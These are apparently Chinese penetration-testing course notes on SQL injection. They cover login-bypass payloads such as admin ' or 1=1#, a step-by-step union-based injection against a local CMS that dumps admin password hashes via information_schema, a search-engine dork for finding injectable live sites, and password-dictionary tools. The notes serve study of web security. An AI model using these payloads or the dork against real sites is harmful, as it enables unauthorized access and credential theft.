10.21SQL注入
SQL注入
1、万能密码：自己写的网站，找到登录窗口（必须和数据库交互）往里面插入构造的恶意代码，最后可以直接登陆进去，不需要帐号和密码。输入的恶意代码就称为万能密码。
注释符号：# -- %25 %2d%2d --+，符号后的语句不识别
后端拼接的sql语句：SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';
用户名的地方没有处理，密码输入：admin ' or 1=1#
这样语句就拼接成了：SELECT * FROM `users` WHERE user = 'admin ' or 1=1#' AND password = '$pass';由于#被注释，则实际执行SELECT * FROM `users` WHERE user = 'admin ' or 1=1由于1=1永真，则会搜索出所有用户，根据后端代码
数量为1时执行成功登陆，那么把上面的or改为and ，则会搜索出账户为admin的账户只有一个，那么就能执行成功登陆
其他语句：pentest’ or 1=1#
（注意 需不需要加’ 需要根据后端代码提交的数据类型来判定，如果是字符串类型，则需要加单引号，如果是整型，则不需要加）
语句若为“真or真and假”，则判定为真。
为何出现这种问题：
后端代码在执行的过程中将用户输入的数据也当做代码来执行了，违背一个原则：代码和数据相分离
前端的传递的传输可以随意控住，参数可控；后端对前端传递过来的数据没有过滤或者过滤不严谨。最终导致万能密码sql注入。（注入的原因）
危害：数据泄露、脱库、篡改网站、破坏数据库、植入后门、getshell
分类：
请求方式：get、post、cookie
参数形式：整形、字符型、搜索
反馈类型：报错、union、延时、布尔（时间/页面显示状态）
数据库类型：access mssql mysql pracle nosql等等
利用技术：布尔、报错、内联、堆叠、时间、联合
手工注入：
常用数据函数以及常量
@@tmpdir
@@datadir
@@basedir
@@bersion
@@hostname
Ascii()
User()
Version()
Database()
Concat()
Group_concat()
Concat_ws()
Substr()
Substr():oracle,mysql,mssql /substring():mysql,mssql /mid():mysql 注意：均有是哪个参数，第一 被截取的字符；第二 开始索引；第三 截取的长度
Letf(pa1,pa2)从左边开始截取 pa1：被截取的字符串；pa2：截取长度
Right()
Sleep()让数据库休眠
Ord()显示字符的ascii
If(条件,条件为真时的返回值或者语句,条件为假时的返回值或者语句)
If(1=1,ture,false)
Case when 条件 then 条件为真时的返回这或者语句 else 条件为假时的返回值或者语句 end
Length()计算字符串长度
联合查询
Select*from users where id =1 union select “a”,”b”,”c”;
mysql数据库中：一库一表三字段
Mysql>5.0
Information_schema 系统数据库，用来做汇总用（其他数据库的库名、表名、字段名）
Columns表中存储数据（库名、表名、字段名），需要关注该表下三个字段
Table_schema 字段存储 存储其他数据库的库名
Table_name 字段存储 存储其他数据库的表名
Column_name 字段存储 存储其他数据库的字段名
手工注入
Step1：检测注入点（可能存在sql注入的地方），
找到类似id的参数（id、uid、typeid、sid、key......），后面输入一些检测的恶意代码：
‘
‘ and 1=1#
‘ and 1=2--
-1 ‘ or ’1’=’1 等等
需不需要’ 是由后端拼接sql语句决定的
输入的恶意payload被成功执行（页面显示效果、报错信息等），说明此处有sql注入点
接下来确定注入的方式：报错、布尔、堆叠，主要是根据页面的回显效果来决定使用哪种注入技术
判断从后台数据库中选择的列数以及那几列在前端显示。
http://127.0.0.1/jdy1.5/typeid.php?typeid=1 and order by 6%23
更换数字，根据页面显示效果判断后台数据库选择的列数，5列
Union select 1,2,3,4,5%23，将typeid=非常大或-1，
发现2的位置可以注入
Step2：收集后台信息
尝试将2改为user()：
http://127.0.0.1/jdy1.5/typeid.php?typeid=-1 union select 1,user(),3,4,5%23
发现2的位置可以将后台数据显示到前端
http://127.0.0.1/jdy1.5/typeid.php?typeid=-1 union select 1,(select group_concat(distinct table_schema) from information_schema.columns),3,4,5%23
Step3：获取当前数据库下表名
select table_name from information_schema.columns where table_schema=database()
Step4：获取当前数据库下指定表下字段名
Select group_concat(distinct column_name)from information_schema.columns where table_schema=database() and table_name=表名（一般需要找后台或者敏感的数据表）
select concat(username,0x7e,password)from jdy_admin limit 0,1; //这里~用十六进制为0x7e
Step6：解密：pmd5 cmd5 chamd5 somd5......网站去找，解码后显示的就是密码
查找数据库中的password，解密即可
***注入训练***
Bing国际版搜索inurl:id=，可以找到一些能够注入的网站（不建议随便注入漏洞）
CMS内容管理系统，是网站建设走向成功的重要组成部分，常用的有：
1.企业建站系统：MetInfo(米拓)、蝉知、SiteServer CMS（.net平台）等;
2.B2C商城系统：商派shopex、ecshop、hishop、xpshop等;
3.门户建站系统：DedeCMS(织梦，PHP+MYSQL)、帝国CMS（PHP+mysql）、PHPCMS、动易、cmstop，dianCMS（易点CMS，.net平台）等;
4.博客系统：wordpress、Z-Blog等;
5.论坛社区：discuz、phpwind、wecenter等;
6.问答系统：Tipask、whatsns等;
7.知识百科系统：HDwiki;
8.B2B门户系统：destoon、B2Bbuilder、友邻B2B等;
9.人才招聘网站系统：骑士CMS、PHP云人才管理系统;
10.房产网站系统：FangCms等;
11.在线教育建站系统：kesion(科汛，ASP)、EduSoho网校;
12.电影网站系统：苹果cms、ctcms、movcms等;
13.小说文学建站系统：JIEQI CMS;
社工密码字典的生成工具：
Pydictor：强大的密码生成工具
Cupper：针对国人的社工密码生成器
Wordhound：基于推特搜索、PDF文档、甚至reddit子网站创建密码字典
易优密码生成器
